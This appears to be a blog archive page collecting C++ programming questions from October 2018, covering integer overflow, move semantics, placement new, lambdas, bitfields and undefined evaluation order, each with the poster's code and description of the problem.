mercredi 31 octobre 2018

Need help avoiding integer overflow for Project Euler 15

I've been running into troubles with Integer overflow. The code works up till an input of 16, but I need it to work up till 20.

#include <iostream>
#include <cmath>
#include <stdlib.h>
#include <stdio.h>

using namespace std;
int grid(int);

int main(){
    int size;
    cin >> size;
    grid(size);

return 0;
}

int grid(int array){
    array = array+1;
    unsigned long long int map[array][array];
    for(int i = 0; i < array; ++i){ 
    // initialize grid distance
        map[i][0] =1;
        map[0][i]= 1;}
    for(int i =1; i < array; ++i){
        for(int j =1; j < array; ++j){
            map[i][j] = map[i-1][j] +map[i][j-1];}
}
    array = array -1;
return map[array][array]; //Return value to main function
}

Take differences in two arrays and record their number in a third array

So I have been having an extremely hard time trying to figure out this issue. All of my code currently works except for my last module where I am trying to compare the two arrays for differences and record the question number into a new array. I'm not really sure how to set it up. Any help will be appreciated.

The main issue is with the array incorrect I am creating. I do not know how to set up a blank array that gets bigger as values are entered. Unless I am just really messing that concept up. I have the issues currently commented out while I was trying different things.

#include <iostream>
using namespace std;

const int COLS = 20;
void input_data(char [], int);
void compare_data(char [], int, char [], int);

int main()
{
    char letters[COLS];
    char answers[] = { 'A', 'D', 'B', 'B',
                       'C', 'B', 'A', 'B',
                       'C', 'D', 'A', 'C',
                       'D', 'B', 'D', 'C',
                       'C', 'A', 'D', 'B'};

    input_data(letters, COLS);
    compare_data(letters, COLS, answers, COLS);
}

void input_data(char letter[], int size)
{
    cout << "Please enter the student's answers for each of the questions. \n";
    cout << "Press Enter after typing each answer. \n";
    cout << "Please enter only an A, B, C, or D for each question. \n";
    for (int i = 1; i <= size; i++)
    {
        cout << "Question " << i << ": ";
        cin >> letter[i - 1];
        while (letter[i - 1] != 'A' && 
                letter[i - 1] != 'B' &&
                letter[i - 1] != 'C' &&
                letter[i - 1] != 'D')
        {
            cout << "Please enter only A, B, C, or D \n";
            cout << "Question " << i << ":";
            cin >> letter[i - 1];
        }
    }
}

void compare_data(char letter[], int size, char answer[], int cols)
{
    int ans_correct = 0;
    int ans_wrong = 0;
    //int incorrect[20];
    for (int i = 1; i <= size; i++)
    {
        if (letter[i] == answer[i])
            ans_correct += 1;
        else
        {
            ans_wrong += 1;
            //incorrect[i-1] = i;
        }
    }

    if (ans_correct >= 15)
        cout << "The student passed the exam. \n";
    else
        cout << "The student did not pass the exam. \n";

    cout << "Correct Answers: " << ans_correct << endl;
    cout << "Incorrect Answers: " << ans_wrong << endl << endl;

    cout << "Questions that were answered incorrectly: \n";
    for (int i = 1; i < size; i++)
    {
        //cout << incorrect[i-1] << endl;
    }
}

C++ Splitting vector of vectors into N-many sub-vectors of vectors

I have a very large vector of vectors that I want to split into N-many sub-vectors (of vectors) via a function. The function will then perform some algorithmic routines on these sub-vectors but not return anything. I know how many sub-vectors (of vectors) that I want to split the original vector of vectors into (although NOT at compile time), and I am not sure how I am to create N-many sub-vectors of vectors within the function at runtime.

Usually, if you are splitting a vector into n-many sub-vectors, you would create a vector of vectors to store each sub-vector, especially if you require that the scope of these sub-vectors extends beyond the loop you are using to perform the splitting. Am I looking for (for lack of better description) a "four dimensional vector" to store these sub-vectors of vectors?

To clarify, say I have a vector of vectors that looks like so:

vec = { {945,1,1.0882222739646},
        {955,1,1.08030633720477},
        {965,1,1.06095611392935},
        {975,1,1.0736443050851},
        {985,1,1.04649065403142},
        {995,1,1.06294684603874},
        {1005,1,1.065654589561},
        {1015,1,1.0668922119373},
        {1025,1,1.03109676962124},
        {1035,1,1.08430139146623} }

and I want to split it into 5 (determined at runtime) sub-vectors of vectors like so:

vec1 = { {945,1,1.0882222739646},
         {955,1,1.08030633720477} }

vec2 = { {965,1,1.06095611392935},
         {975,1,1.0736443050851} }

vec3 = { {985,1,1.04649065403142},
        {995,1,1.06294684603874} }

vec4 = { {1005,1,1.065654589561},
        {1015,1,1.0668922119373} }

vec5 = { {1025,1,1.03109676962124},
        {1035,1,1.08430139146623} }

How exactly does one go about this? My function so far looks like so:

void calc_frac_block (vector<vector <double> > conc_data, vector<int> expidx)
{
   // First, we need to create n-many vectors of vectors corresponding to the size of expidx
   int expidx_size = expidx.size();

   cout << "Size of expidx is: " << expidx_size << endl;

   // Now we find the size of each subvector of vectors by diving conc_data by expidx_size
   int subvec_size = conc_data.size() / expidx_size;   // Will always be a whole number

   cout << "Size of each subvector is: " << subvec_size << endl;

   // NOW I HAVE THE NUMBER OF SUB-VECTORS OF VECTORS AND THE SIZE OF EACH... HOW TO PROCEED?

}

Any pointers would be helpful. I am using C++11 so solutions involving features therein are acceptable ;)

Can I link an object compiled with clang c++11 with another compiled with c++17

I'm looking specifically for a clang answer to this question. If I compile one object with -std=c++11 and another with -std=c++17 can they be safely linked?

Is there a way to alter a type using type_traits within a template parameter list?

template
<
    template <typename, typename, typename>
        class storage_t,
    typename _Tp = storage::unknown_type,
    typename is_allocated = std::false_type
>
struct Example_Buffer:
    public Buffer<storage_t, _Tp, is_allocated> { ... };

In this code, I want to remove the reference, if _Tp has one. I do not want to use typename = std::enable_if_t<std::is_reference_v<_Tp>>, because I do want the program to compile if _Tp is a reference, but I would like to remove it in that case. I thought of a solution, but it did not seem ideal:

template
<
   template <typename, typename, typename>
        class storage_t,
    typename _Tp = storage::unknown_type,
    typename is_allocated = std::false_type,
    typename _Tp2 = std::remove_reference_t<_Tp>
>
struct Example_Buffer { ... };

Is there a better way to do this? Feel free to ask if I need to elaborate.

How to use non static member functions as callback in C++

I am writing a small program for ESP8266 in C++ and run into trouble. I've created a Led class form handling leds. The idea is that the class should handle a blink function. For this I use a library called Ticker.

A function in Ticker, attach_ms requires a callback and I cant get that to work with a non static member functions.

This is my header file:

#ifndef led_h
#define led_h

#include <Arduino.h> 
#include <Ticker.h>
#include "debugutils.h"

#define tickLength 100


enum class LedState {
        OFF,
        ON,
        SLOW_BLINK,
        FAST_BLINK
};


class Led {
public:

    Led(Ticker *tick, uint8_t ledPin, int slowBlinkTime, int fastBlinkTime);

    void on();
    void off();
    void slowBlink( );
    void fastBlink( );

private:
    uint8_t pin;
    int counter;
    int slowNoBlinkTicks;
    int fastNoBlinkTicks;
    LedState state;
    void ledOn();
    void ledOff();
    void ledInvert();
    void clean();
    void blink(int par);
    void tickerCallbackLed();
};
#endif

This is my code file:

#include "led.h"


void Led::ledOn() {
    digitalWrite(pin, HIGH);
}

void Led::ledOff() {
     digitalWrite(pin, LOW);
}

void Led::ledInvert() {
    digitalWrite(pin, !digitalRead(pin));
}

void Led::clean() {
    counter = 0;
}

void Led::blink(int par) {
    if (counter > par) {
        ledInvert();
        counter = 0;
    }
    else {
        counter++;
    }
}

void Led::tickerCallbackLed() {

    switch (state) {
        case LedState::OFF : break;
        case LedState::ON : break;
        case LedState::SLOW_BLINK : blink(slowNoBlinkTicks); break;
        case LedState::FAST_BLINK : blink (fastNoBlinkTicks);  break;
        default : break;
    };


};

void Led::on() {
    ledOn();
    state = LedState::ON;
};


void Led::off(){
    ledOff();
    state = LedState::OFF;
};

void Led::slowBlink(){
    clean();
    ledInvert();
    state = LedState::SLOW_BLINK;
};

void Led::fastBlink(){
    clean();
    ledInvert();
    state = LedState::FAST_BLINK;
};


Led::Led(Ticker *tick, uint8_t ledPin, int slowBlinkTime, int fastBlinkTime) {

    tick->attach_ms(tickLength, std::bind(&Led::tickerCallbackLed,this));

    slowNoBlinkTicks = slowBlinkTime/tickLength;
    fastNoBlinkTicks = fastBlinkTime/tickLength;

    pinMode(ledPin,OUTPUT);

    digitalWrite(ledPin,LOW);

    pin = ledPin;
    state = LedState::OFF;
    counter = 0;

}

This line gives a compile error and I dont know how to fix it. Have tried to follow all "advice" I have found on internet.

 tick->attach_ms(tickLength, std::bind(&Led::tickerCallbackLed,this));

Greatful for help.

My Gauss Elimination function is producing garbage values

I am trying to implement Gauss Elimination before trying to implement other matrix operations and I went with a pretty straightforward idea (basically translated the process I do on paper with matrices into code) and it's this:

Matrix resultVector(this->mRow, 1), matA(this->mRow, this->mColumn);
matA = *this;
for(int i=0; i < this->mRow; i++)
} 
    double pivotElement = matA.mMatrix[i][i];
    for(int j=i+1; j < this->mRow; j++)
    {
        double coeff = pivotElement/(double)matA.mMatrix[j][i];
        for(int k=i; k < this->mRow; k++)
        {
            matA.mMatrix[j][k] *= coeff;
            matA.mMatrix[j][k] -= matA.mMatrix[i][k];
        }
    }
}

Matrix is a class with three private variables. mRow, mColumn and mMatrix.

mMatrix is initialized by a default and a parameterized constructor as a dynamically allocated 2D array.

All of this is to solve square matrices this is why I chose to use mRow constantly and interchangeably with mColumn.

Idea was:

1)select pivot element.

2)move vertically from i+1 to mRow-1 (from first row beneath pivot row to last row)

3)evaluate the coefficient needed for the mMatrix[j][i] element to be equal to *mMatrix[i][i]

4)start moving horizontally from i to mRow

5)starting from the [j][k]-th element, multiply it by the coefficient then subtract.

note: this program does not yet take the b vector into account and does not print out the resultVector. My problem is specifically that this program does not correctly produce an upper-triangular matrix.

sample input/output:

1 2 3 == 1 2 3

2 -3 2 == 0 -3.5 -2

3 1 -1 == 2.98023e-008 -2.17557e-007 -5

correct input/output:

1 2 3 == 1 2 3

2 -3 2 == 0 1 2

3 1 -1 == 0 0 10

Can I have an array of lambda pointers in order to hold functions with different types of arguments/return values?

Let's assume I have a class with two member functions:

#include <string>
#include <vector>

typedef string (*MyFunctionPointer)(string);

using namespace std;

class MyClass{
  MyClass(){
    MyCommandServer server;
    server.addToCollection(&[](string a)->string{return helloWorld();});
    server.addToCollection(&[](string a)->string{return to_string(add(stoi(a[0]),stoi(a[1])));});

    while(true){
      server.pollForCommand();
      doSomethingElse();
    }
  }

  string helloWorld(){
    return "Hello World!";
  }

  int add(int a, int b){
    return a+b;
  }
};

And another Class that is instantiated in the first one:

class MyCommandServer{
  MyCommandServer(){}

  void addToCollection(MyFunctionPointer ptr){
    functionCollection.push_back(ptr);
  }

  string callFunctionByIndex(char index, float arg1, int arg2){
    functionCollection[index](arg1,arg2);
  }

  void pollForCommand(){
    string newCommand = checkForCommand(&args);
    if(newCommand.size()&&isValidCommand(newCommand[0])){
      functionCollection[newCommand[0]](newCommand.substr(1));
    }
  }

  string checkForCommand();
  bool isValidCommand(char);
  vector<MyFunctionPointer> functionCollection;
};

How would I go about passing my first two methods to addToCollection(MyFunctionPointer)? I was wondering if something along the lines of the example was possible. My goal is to have a way to call the functions of MyClass with only their index in the container, and figuring out how to use the provided arguments, if at all, by means of the supplied lambda function. This is supposed to enable a Command Server class, where I get a char as the said index and the arguments, if any, as a string via UDP.

However, the compiler won't let me pass a reference to a lambda..

Making a switch-case statement in the MyServerClass, where I manually enter the code I put in the lambdas in the example, is not feasible since the Server class does not know about its parents methods.

Is something similar to the example given possible?

Sorry if the post is not up to standards, its my first on here.

Thanks for your help!

Returning owned pointers by reference

Suppose you are defining two classes, A and B, and B has a pointer to an instance of A, and is responsible for managing the lifetime of that instance. Like so:

class A;

class B
{
public:
    B(A *a);
    ~B() { delete m_a; }
private:
    A *m_a;
};

Would it be more appropriate for the method B::get_a to return a constant reference:

const A &get_a() const
{
    return *m_a;
}

or just return the pointer:

const A *get_a() const
{
    return m_a;
}

Why doesn't my code compile if I comment out `move constructor` and `move assignment operator`?

I grabbed the following code from Ten C++11 Features Every C++ Developer Should Use. I want to see the output with / without move constructor and move assignment operator. The original code compiles well. But if I comment out implementation of the two methods, it fails to compile with error:

move-1.cpp: In instantiation of ‘Buffer<T>& Buffer<T>::operator=(const Buffer<T>&) [with T = int]’:
move-1.cpp:90:6:   required from here
move-1.cpp:40:17: error: no match for ‘operator=’ (operand types are ‘std::unique_ptr<int [], std::default_delete<int []> >’ and ‘int*’)
         _buffer = _size > 0 ? new T[_size] : nullptr;

Compiler: gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.4)

Here is the code:

#include <cassert>
#include <iostream>
#include <memory>
#include <string>

template <typename T> class Buffer {
  std::string _name;
  size_t _size;
  std::unique_ptr<T[]> _buffer;

public:
  // default constructor
  Buffer() : _size(16), _buffer(new T[16]) {
    std::cout << "default constructor\n";
  }

  // constructor
  Buffer(const std::string &name, size_t size)
      : _name(name), _size(size), _buffer(new T[size]) {
    std::cout << "param constructor\n";
  }

  // copy constructor
  Buffer(const Buffer &copy)
      : _name(copy._name), _size(copy._size), _buffer(new T[copy._size]) {
    T *source = copy._buffer.get();
    T *dest = _buffer.get();
    std::copy(source, source + copy._size, dest);
    std::cout << "copy constructor\n";
  }

  // copy assignment operator
  Buffer &operator=(const Buffer &copy) {
    if (this != &copy) {
      _name = copy._name;

      if (_size != copy._size) {
        _buffer = nullptr;
        _size = copy._size;
        _buffer = _size > 0 ? new T[_size] : nullptr;
      }

      T *source = copy._buffer.get();
      T *dest = _buffer.get();
      std::copy(source, source + copy._size, dest);
      std::cout << "copy assignment\n";
    }

    return *this;
  }

  // move constructor
  Buffer(Buffer &&temp)
      : _name(std::move(temp._name)), _size(temp._size),
        _buffer(std::move(temp._buffer)) {
    temp._buffer = nullptr;
    temp._size = 0;
    std::cout << "move constructor\n";
  }

  // move assignment operator
  Buffer &operator=(Buffer &&temp) {
    assert(this != &temp); // assert if this is not a temporary

    _buffer = nullptr;
    _size = temp._size;
    _buffer = std::move(temp._buffer);

    _name = std::move(temp._name);

    temp._buffer = nullptr;
    temp._size = 0;
    std::cout << "move assignment\n";

    return *this;
  }
};

template <typename T> Buffer<T> getBuffer(const std::string &name) {
  Buffer<T> b(name, 128);
  return b;
}

int main() {
  Buffer<int> b1;
  Buffer<int> b2("buf2", 64);
  Buffer<int> b3 = b2;
  Buffer<int> b4 = getBuffer<int>("buf4");
  b1 = getBuffer<int>("buf5");
  return 0;
}

PHP extension: How to get current object of a function

I am creating an PHP extension to find the call stack of PHP application. This is PHP 5.6.

Zend API callback "_zend_execute_ex" and get_active_function_name(TSRMLS_C) can able to get the function names, But I needs to get PHP class object,to identify which function from which class is executed in my extension. How can i achieve this?

Why white spaces are not considered as white spaces when we declare header file in c++?

When we declare header file in c++. It is not recommended to insert white spaces between angular braces '<' '>' and header file name. If we insert it comes out with an error. I have tried in Xcode and various other IDE's

// It is perfectly valid ( in c++ )
#include <iostream> 

but 

// It is invalid
#include < iostream >

Generic Function remove() vs Member Function remove() for linked list

I'm reading book "The C++ STL. A Tutorial and References" written by Nicolai M.Josuttis and in one of the chapters devoted to STL algorithms author states the following: If you call remove() for elements of a list, the algorithm doesn’t know that it is operating on a list and thus does what it does for any container: reorder the elements by changing their values. If, for example, the algorithm removes the first element, all the following elements are assigned to their previous elements. This behavior contradicts the main advantage of lists: the ability to insert, move, and remove elements by modifying the links instead of the values.To avoid bad performance, lists provide special member functions for all manipulating algorithms. You should always prefer them. Furthermore, these member functions really remove “removed” elements, as this example shows:

#include <list>
#include <algorithm>
using namespace std;
int main()
{
list<int> coll;
// insert elements from 6 to 1 and 1 to 6
for (int i=1; i<=6; ++i) {
coll.push_front(i);
coll.push_back(i);
}
// remove all elements with value 3 (poor performance)
coll.erase (remove(coll.begin(),coll.end(),
3),
coll.end());
// remove all elements with value 4 (good performance)
coll.remove (4);
}

Of course this seems enough convincing for further considerations but anyway, I decided to see the result executing similar code in my PC, particularly in MSVC 2013 Environment. Here is my code improvised:

int main()
{
    srand(time(nullptr));
    list<int>my_list1;
    list<int>my_list2;
    int x = 2000 * 2000;

    for (auto i = 0; i < x; ++i)
    {
        auto random = rand() % 10;
        my_list1.push_back(random);
        my_list1.push_front(random);
    }

    list<int>my_list2(my_list1);

    auto started1 = std::chrono::high_resolution_clock::now();
    my_list1.remove(5);
    auto done1 = std::chrono::high_resolution_clock::now();
    cout << "Execution time while using member function remove: " << chrono::duration_cast<chrono::milliseconds>(done1 - started1).count();

    cout << endl << endl;

    auto started2 = std::chrono::high_resolution_clock::now();
    my_list2.erase(remove(my_list2.begin(), my_list2.end(),5), my_list2.end());
    auto done2 = std::chrono::high_resolution_clock::now();
    cout << "Execution time while using generic algorithm remove: " << chrono::duration_cast<chrono::milliseconds>(done2 - started2).count();

    cout << endl << endl;
}

I was surprised when saw the following output:

Execution time while using member function remove: 10773

Execution time while using generic algorithm remove: 7459 

Could you please explain what can be the reason of such contradicting behavior?

Is there a way to assign a stacked object to the allocated memory using placement new?

Here is my program:

#include <iostream>

using namespace std;

class Object {
public:
    Object() { cout << "Object constructor!" << endl; }
    ~Object() { cout << "Object destructor!" << endl; }
    Object(const Object& obj) { information = obj.information; cout << "Copy constructor!" << endl; }
    void setInformation(const string info) { information = info; }
    string getInformation() const { return information; }
private:
    string information;
};

class Storage {
public:
    Storage() { object = static_cast<Object*>(operator new(sizeof(Object))); }
    ~Storage() { operator delete(object); }

    void setObject(const Object& obj) {
        // Todo: assign obj to the allocated space of the pointer object
    }
private:
    Object* object;
};

int main()
{
    Object o;
    o.setInformation("Engine");
    Storage storage;
    storage.setObject(o);
    return 0;
}

In Storage I am allocating space to store one object of type Object without creating it. I am using placement new for that which allocates a memory, and freeing it in the destructor. I know that I can use

object = new(object) Object()

to construct an object. But can I put in the memory an object that is already created? In my case call method setObject(). If yes what problems I can encounter with such memory management? Thanks in advance.

Handing type-erased data at runtime - how not to reinvent the wheel?

I'm working on some code which gets data that looks like this (simplifying of course:

enum data_type { INT16, INT32, FLOAT };
struct buffer {
    data_type element_type;
    void*     data;
    size_t    size; // in elements of element_type, not bytes
}

(in actuality there are quite a few more types.)

Now, I find myself writing a bunch of utility code to "convert" enum values to actual types and vice-versa, at compile time. Then I need some of that at run time, and now I'm writing code which looks up std::type_infos. I will probably also need to insert by-data-type-enum calls. So - a mess.

But really - I should not be doing this. It's repetitive and I am absolutely sure I'm reinventing the wheel - implementing something which has already been written many times already: Compilers, DBMSes, data file parsers, serialization libraries and so on.

What can I do to minimize my wasted effort on this endeavor?

Note: C++11 solutions are preferred over others.

Set of mutex pointers

I am trying to store several mutex (pointers) into a set.

std::set<std::mutex*> mutex_set;    

addLock(const std::mutex* lock)
{
  mutex_set.insert(lock)
}

Since that is not working I tried lock guards and unique pointers, but did not have any success. What is the best way to store mutex into a set?

Inheritance: constructor, initialize C like array member of base class in c++11

Consider following code:

struct Base //in my real scenario Base class can not be changed
{
int a;
double b[10];
}

struct Child
{
Child(int aa, double bb[10]) : Base{aa} {}     //This works fine
Child(int aa, double bb[10]) : Base{aa, bb} {} //this is not working
}

The second constructor of child is not working. I get the error "array must be initialized with a brace-enclosed initializer". How can I initialize b in Child without changing Base class (for example using vector instead of c-like array, i am not allowed to do that)

How to remove verbose sentences in peer if-else branch

Here I got three if-else branches in this program

int main(){
    if(condition == 1)
        functionA();
    if(condition == 2)
        functionB();
    if(condition == 3)
        functionA&B();
    }

Suppose that the value of condition only varies from 1 to 3. I wonder if there's way where condition = 3 so that I don't have to call functionA&B() but just use the former result of condition = 1 and condition = 2?

mardi 30 octobre 2018

In a C++ class, do you have to initialize member variables that are arrays?

For example:

class Cls
{
private:
    int x;
    int y;
    int arr[10];

public:
    Cls();
};

Cls::Cls() : x(0), y(0) {}

My understanding is that an uninitialized array will have garbage values. As long as I don't write code that expects the array to have a specific value before filling it, is there any issue with not initializing the array? Or do I need something like this as the constructor:

Cls::Cls() : x(0), y(0), arr() {}

While loop will not terminate without "usleep()" or "printf"

I am curious to know if anybody knows why a simple while loop in c++ will not terminate without either a "usleep" or "printf"?

I have a boolean value that has its value changed externally, which its value is designed to terminate a while loop. I have also tried this and it fails:

if (!run) { break; }

It works perfectly fine with one of "usleep" or "printf" in the loop.

I have a gut feeling it is something to do with an interrupt, but not certain why.

while (run)
{
     // Do something

     // usleep OR printf
}

While i can easily do "usleep(0)" and it works, I am quite curious as to why this happens. My system is Ubuntu 16.04, running C++11 (GCC/G++ 5.4).

Thanks, CaptainJL

How to output a word based on the probability of it occurring in a text?

Say I have 3 words and a frequency of them occurring in a piece of text.

For example:

be (1)

not (1)

have (2)

Since the total frequency of all the words is 4, I generate a random number between 0-3 or 1-4. How would I use this random number so that the program outputs "be" 1/4 of the time, "not" 1/4 of the time, and "have" 1/2 of the time?

C++ Union/Struct Bitfield Implementation and Portability

I have a union containing a uint16 and a struct like so:

union pData {
    uint16_t w1;
    struct {
        uint8_t d1 : 8;
        uint8_t d2 : 4;
        bool b1 : 1;
        bool b2 : 1;
        bool b3 : 1;
        bool b4 : 1;
    } bits;
};

My colleague says there is an issue with this being portable, but I am not sure I buy this. Could some please explain (simple as possible) what is "wrong" here?

Using templates with variable class instance storage

Summary: I want to pre-parse a data once, and specialize the parsing and retrieval based a compile time type in a system that is already heavily templated. I do not know what to look for to get the final bits to hook up, connecting the storage of void * or however I store the item.

I've already identified the continual parsing of data as a performance issue, I just want to learn how to do this correctly hopefully using as many compile time actions.


I have the basic following code that works to get access to a std::string using std=c++11

class DataHolder {

    int value;
    bool value2;
    std::string longDataUnformated;    

};

class SearchThing{

    enum {        
        ENUM_A = 0x0,
        ENUM_B = 0x1,
        ENUM_C = 0x2    
    }          

    template<int MODE>
    T Find(const linkedList* head, int nodeIndex) {       
    return Find(KeyTemplate<MODE>(head->value, nodeIndex));
    }

    template<int MODE>
    DataHolder Find(const KeyTemplate<MODE>& Key) {        

        return someIterator = FindMatches(Key).TraverseMatches();                
    }
    PrimaryStorage * storage;
}

I can do this by calling:

auto type1data = 
    SearchThingInstanceType1.Find<SearchThing::ENUM_A>(linkedListHead, index)->longDataUnformated;
auto type2data = 
    SearchThingInstanceType2.Find<SearchThing::ENUM_B>(linkedListHead, index)->longDataUnformated;

And take the returned data and process it using accessValue or accessValueOther

As the DataHolder is unique, I'd love to be able to prevent repeatedly parsing the data and store it inside as genericClass.

void * genericClass;  // can be Type1 or Type2

As primarily a C developer who is attempting to learn more cpp, I understand void * are heavily discouraged. I could also have both Type1 and Type2 be a derived class but I really need to avoid virtual functions and as this behavior is defined at compile time I should use templates.

I'd like to create k classes, but for this example I have two, both with different return types. Eventually to include user defined types.

class Type1 {    
    std::vector<bool> parsedValues;
    int defaultValue; /* 0 */

    bool accessWith(int value){         
        return parsedValues[value];        
    }    

    bool performParsing(std::string, int value) {
        // build the vector of bools from std::string                  
    } 

};

class Type2 {
    std::unordered_map<int, int> parsedValues;
    int defaultValue; /* 0 */

    int accessWith(int value){         
        auto it= parsedValues.find(value);
        if (it) {return it.second();}        
        return defaultValue; 
    }

    int performParsing(std::string, int value) {
        // build the map from std::string
        // return parsed value
    }    
};

And then add a new method and template interface to my SearchThing class to encapsulate the parsing and storage:

// want to return type T which can be user defined or primitive. 
template<int MODE, typename T>
T CacheFind(const linkedList* head, int nodeIndex, int otherSpecifier) { 
    return CacheFind(KeyTemplate<MODE>(head->value, nodeIndex), otherSpecifier);
}

template<int MODE, typename T>
T CacheFind(const KeyTemplate<MODE>& Key, int someValue) {        

    DataHolder someIterator = FindMatches(Key).TraverseMatches();        
    if (someIterator && someIterator->genericClass){

        return someIterator->genericClass->accessWith(someValue);
    }

    // construct the object of type "T"
    someIterator->genericClass = (void*) new T();  // shouldn't use void *
    return someIterator->genericClass->performParsing(someIterator->longDataUnformated, someValue);
}

This would then allow me to do without wasteful parsing.

auto type1parsedData = 
    SearchThingInstanceType1.CacheFind<SearchThing::ENUM_A>(linkedListHead, index, accessValue);    
auto type2parsedData = 
    SearchThingInstanceType2.CacheFind<SearchThing::ENUM_B>(linkedListOtherHead, indexOther, accessValueOther);

Copy constructor called (and not the move constructor) even with a variable used only once (so like a temporary one)

Code :

#include <iostream>

class A {
public:
    A() {
        std::cout << "Default constructor" << std::endl;
    }

    A(const A& a) {
        std::cout << "Copy constructor" << std::endl;
    }

    A(A&& a) {
        std::cout << "Move constructor" << std::endl;
    }
};

int main()
{
    {//case 1
        A b = A(A());
    }
    std::cout << std::endl;
    {// case 2
        A a;
        A b = A(a);
    }
    std::cout << std::endl;
    {//case 3
        A a;
        A b = A(std::move(a));
    }
}

Output (with -O3 compilation flag) :

#case 1
Default constructor

#case 2
Default constructor
Copy constructor

#case 3
Default constructor
Move constructor

In case 2, why is the copy constructor called even with maximum optimization level (-O3) ? I was expecting the compiler to detect that the variable 'a' is like being temporary (because used only for the construction of 'b') and to rather use the move constructor (like in case 3) or the default constructor (like in case 1). And second question : Why in case 1, the default constructor is called only once whereas I would expect a default construction + a move construction ?

Copy constructor called instead of move constructor with a variable used only once (so like a temporary one)

Code :

#include <iostream>

class A {
public:
    A() {
        std::cout << "Default constructor" << std::endl;
    }

    A(const A& a) {
        std::cout << "Copy constructor" << std::endl;
    }

    A(A&& a) {
        std::cout << "Move constructor" << std::endl;
    }
};

int main()
{
    {//case 1
        A b = A(A());
    }
    std::cout << std::endl;
    {// case 2
        A a;
        A b = A(a);
    }
    std::cout << std::endl;
    {//case 3
        A a;
        A b = A(std::move(a));
    }
}

Output (with -O3 compilation flag) :

#case 1
Default constructor

#case 2
Default constructor
Copy constructor

#case 3
Default constructor
Move constructor

In case 2, why is the copy constructor called even with maximum optimization level (-O3) ? I was expecting the compiler to detect that the variable 'a' is like being temporary (because used only for the construction of 'b') and to rather use the move constructor (like in case 3) or the default constructor (like in case 1).

Tic tac toe 2d array filling charachter

Im trying to create 4x4 board using tic tac toe and this is the function im using //This function resets the board to default which has to be like this default

void resetBoard(char board[4][4])                                   
{
    for (int i = 0; i < 4; i++)                                     
    {
        int boardcounter = 1;
        for (int j = 0; j < 4; j++)
        {
            board[i][j] = '0' + boardcounter;
            boardcounter++;
        }
    }
}

For this i get answer current output and if write it like this

 for (int j = 0; j < 3; j++)
    {
        board[i][j] = (char) boardcounter;
        boardcounter++;
    }

the board gets very screwed up how can i change that so that the person can enter character A,...,G WHICH represents 10-16 in the board.

Bad: why my nested iterator class doesnt run a template method with specific class type?

i made a vector class(smiliar like std::vector class) with iterator and constiterator classes . im trying to make a special method for iterator class operator++() that will be run only with an iterator of type vector (person is a class with name and age) but it doesntt work , could anyone help me solve this problem ? /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// class Iterator : public std::iterator { public: using value_type = Vector::value_type; using reference = Vector::reference; using pointer = Vector::pointer; using difference_type = Vector::difference_type; using iterator_category = std::forward_iterator_tag; private: pointer ptr; // double*

public:


    typedef iterator _Unchecked_type;

    size_t count() {
        return gesamt_counter;
    }

    Iterator() {
        ptr = nullptr;
    }
    Iterator(pointer x) : ptr{ x } {}
    reference operator*() const{
        return *ptr;
    }

    pointer operator->() const{

        return ptr;
    }

    bool operator==(const const_iterator& r) const { return static_cast<const_iterator>(*this) == r; }
    bool operator!=(const const_iterator& r) const { return static_cast<const_iterator>(*this) != r; }


    iterator operator++(int) { counter = 0; Iterator sub1 = *this; ++ptr; return sub1; }
    operator const_iterator() const { return const_iterator{ ptr }; }

    friend Vector::difference_type operator-(const Vector::iterator& l, const Vector::const_iterator& r)
    {
        return  static_cast<const_iterator>(l) - r;
    }


    iterator& operator++()
    { 
            ++ptr;      
        return *this;
    }

    template<>
    Vector<Person>::iterator& operator++()
    {
        ++ptr;
        ++ptr;
        return *this;
    }
};

Connecting to mongocxx in multiple slots

I'm using the mongocxx driver in a project which is powered by Qt 5.11. Because there are only a few articles about it on the internet, I couldn't find a solution to my problem: I'm trying to connect and get data from my Mongo database but multiple times with slots. Here's an example of what I'm trying to do:

#include "mainwindow.h"
#include <bsoncxx/builder/stream/document.hpp>
#include <bsoncxx/json.hpp>

#include <mongocxx/client.hpp>
#include <mongocxx/instance.hpp>

MainWindow::MainWindow() : QMainWindow() {
    mongocxx::instance *inst{}; //shouldn't be done twice
    mongocxx::client conn{mongocxx::uri{}}; //this neither
    bsoncxx::builder ::stream::document *document{};

    //doingStuffWithoutMongo();
    //then
    LoadClients();
    GetAndSetBanks();
}

void MainWindow::LoadClients() {
    //doingStuffAndGettingDataFromMongo();
    auto collection = conn[awesomeDatabase][awesomeCollection]; //use of undeclared identifier 'conn'
}

void MainWindow::GetAndSetBanks() {
    //doingStuffAndGettingDataFromMongo();
    auto collection = conn[awesomeDatabase][awesomeCollection]; //use of undeclared identifier 'conn'
}

I need the identifier 'conn' in both of my slots but I can't call it more than once. I also tried to declare it in my mainwindow.h file but i'm getting this error:

enter image description here

Maybe I'm declaring something wrong, I don't know, I'm not at ease with this language yet, if somebody could help me, I would be glad to accept her/his answer.

Installing/Updating glibc in Visual Studio

I keep trying to run old repos on my new computer but no matter how many re-installations of visual studio, whenever I try to open the assert file from the cassert like so:

Open assert step

I get this error:

Error Message

Now, interestingly (at least for me), the files like "cassert" and "cmath" have both been downloaded while files like "assert" and "math" have not. When looking to just try downloading "assert" it said that "assert" was part of glibc. I'm wondering if there is a step or individual component in the visual studio installation process I am missing. The issue is also that this is a fairly old repo and probably uses a couple libraries which I have forgotten about so if there was a way to download/install a whole library at once that would be ideal.

Thank you for your time

Using constexpr when a value is non-const but initialized with a constant expression?

For some reason I have a hard time grasping how to correctly use constexpr.

Is the situation described in the title an appropriate place to use it? i.e:

void foo()
{
    static constexpr const size_t MAX_BUFFER_SIZE = 20 * 1024 * 1024;

    constexpr size_t bufferSize = 1024 * 1024; // Initialized with constant expression
    std::vector<char> buffer(bufferSize, ' ');

    //...

    if (some_condition())
    {
        bufferSize = get_random_value_at_runtime(); // Assigned a new 'non-constexpr' value
        buffer.resize(bufferSize, ' ');
    }

    //...   
}

Kind regards!

c++11 Order of evaluation (undefined behavior)

vec[ival++] <= vec[ival]

This expression has undefined behavior, because the order of evaluation of operator (<=)'s operands is undefined.

How can we rewrite that expression to avoid the undefined behavior? I've found an answer that appears to work:

vec[ival] <= vec[ival + 1]

If that is the right way to avoid the undefined behavior, why does rewriting it that way avoid the undefined behavior?

Adding any reference about how to fix that expression would be great.

initializer_list, constructors and braced initialization

While reading about different types of initialization, I stumbled upon one of the numerous weird interaction of std::initializer_list (previous post here). It's apparently a simple topic, one of the first presented in C++ books when they present std::vector.

